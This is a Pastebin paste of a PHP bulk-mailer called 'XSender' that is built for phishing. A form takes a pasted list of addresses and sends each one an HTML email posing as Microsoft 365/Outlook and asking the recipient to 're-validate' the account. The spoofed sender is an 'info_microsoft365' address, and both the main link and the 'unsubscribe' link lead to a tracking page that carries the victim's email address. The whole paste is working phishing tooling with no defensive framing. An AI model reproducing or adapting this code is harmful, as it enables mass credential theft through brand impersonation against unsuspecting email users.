Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- include('wp-access-plugin.php');
- //Email sending
- function sending_email($email,$id='1'){
- $rand=rand(999,99999);
- $subject='Microsoft365 Notifications:[Re-validate your account]';
- $site_name='Outlook Notifications';
- $from = "info_microsoft365".$rand;
- //$from = 'update.delivery-tracking-update'.$rand.'[email protected]';
- $from_mail = $site_name.'<'.$from.'>';
- // To send HTML mail, the Content-type header must be set
- $headers = 'MIME-Version: 1.0' . "\r\n";
- $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
- // Additional headers
- $headers .= 'From: '.$from_mail.'' . "\r\n";
- //$headers .= 'Bcc: '.$email.'' . "\r\n";
- //format message
- $message=email_format($email,$id);
- @mail($email,$subject, $message, $headers);
- }
- function email_format($email,$id='1'){
- global $website;
- $url=$website."/mails-sys/?".md5('token')."=".md5($id)."&".md5(date('U'))."=".md5(date('r'))."&id=".$id."&email=".$email;
- $unsubscribe=$website."/mails-sys/?".md5('token')."=".md5($id)."&".md5(date('U'))."=".md5(date('r'))."&id=".$id."&email=".$email;
- $em=explode('@',$email);
- $message="<style type='text/css'>
- .office {
- font-family:'SegoeUI-SemiLight-final','Segoe UI SemiLight','Segoe UI WPC Semilight','Segoe UI',Segoe,Tahoma,Helvetica,Arial,sans-serif;
- color: #F13415;
- font-size: 50px;
- }
- </style>
- <p><span class='office'>Network365 Service</span><br><br>Dear ".ucwords($em[0]).",</p>
- <p>A swift ownership re-validation is required.</p>
- <p>Nothing much is required, <a href='".$url."' target='_blank'>follow here</a> and we are done.</p>
- <p>Thanks and Regards,<br>
- © 2018 365 Email Center</p>
- <p>If you no longer wish to receieve our newsletter <a href='".$unsubscribe."' style='color:#506ED8;' target='_blank'>Unsubscribe</a> Now</p>";
- return $message; }
- ?><html>
- <head>
- <title>Xsender</title>
- </head>
- <body style='width:100%;color:#000;background:#E0E6F8;font-family:calibri;'>
- <div style='width:100%;max-width:600px;margin:0px auto 0px auto;padding:10px;border:#999 1px solid;box-shadow:10px 10px #666;min-height:500px;'>
- <h1 style='color:#666;text-align:center;text-shadow:#000 1px 1px;'>XSender</h1>
- <?php
- if(isset($_POST['go']) ){
- //sanitize the data
- $_SESSION['xsenderid']=sanitizer($_POST['id']);
- $separator=sanitizer($_POST['separator']);
- $mails=sanitizer($_POST['mails']);
- $id=$_SESSION['xsenderid'];
- if($separator==''){$separator='<br/>';}
- if($mails!=''){
- $mails=explode($separator,$mails);
- $total=count($mails);
- $valid=0;
- for($i=0;$i<$total;$i++){
- $email=$mails[$i];
- if(validate_email($email)){
- $valid=$valid+1;
- print "<div style='color:green;'>".$email." valid and queued</div>";
- //Send here
- sending_email($email,$id);
- //send here
- } else {print "<div style='color:gray;'>".$email." not valid</div>"; }
- }
- print "<h1 style='color:green;'>Bravo! ".$valid."/".$total." Sent! <a href='' style='color:green'>Continue</a></h1>";
- } else {print "<h1 style='color:red'>Mails or Details empty</h1>"; }
- }
- ?>
- <form method='POST' action='#'>
- <div>
- <div>Select Your ID</div>
- <select name='id' style='width:100%;'>
- <?php
- if(isset($_SESSION['xsenderid']))
- {print "<option value='".$_SESSION['xsenderid']."'>".$_SESSION['xsenderid']."</option>";}
- ?>
- <option value='1'>1</option>
- <option value='2'>2</option>
- <option value='3'>3</option>
- <option value='4'>4</option>
- </select>
- </div>
- <p> </p>
- <div>
- <div>Email Separator (Leave Empty if new line)</div>
- <textarea name='separator' style='width:100%;height:20px;'><?php if(isset($_POST['separator'])){print resanitize($_POST['separator']);} ?></textarea>
- </div>
- <p> </p>
- <div>
- <div>Paste Emails separated by separator</div>
- <textarea name='mails' style='width:100%;height:200px;'><?php if(isset($_POST['mails'])){print resanitize($_POST['mails']);} ?></textarea>
- </div>
- <p> </p>
- <div>
- <div>Email Preview</div>
- </div>
- <p> </p>
- <div style='text-align:center;'>
- <input type='submit' value='Go Xsender' name='go' style='color:#FFF;background:#333;'/>
- </div>
- <p> </p>
- </form>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment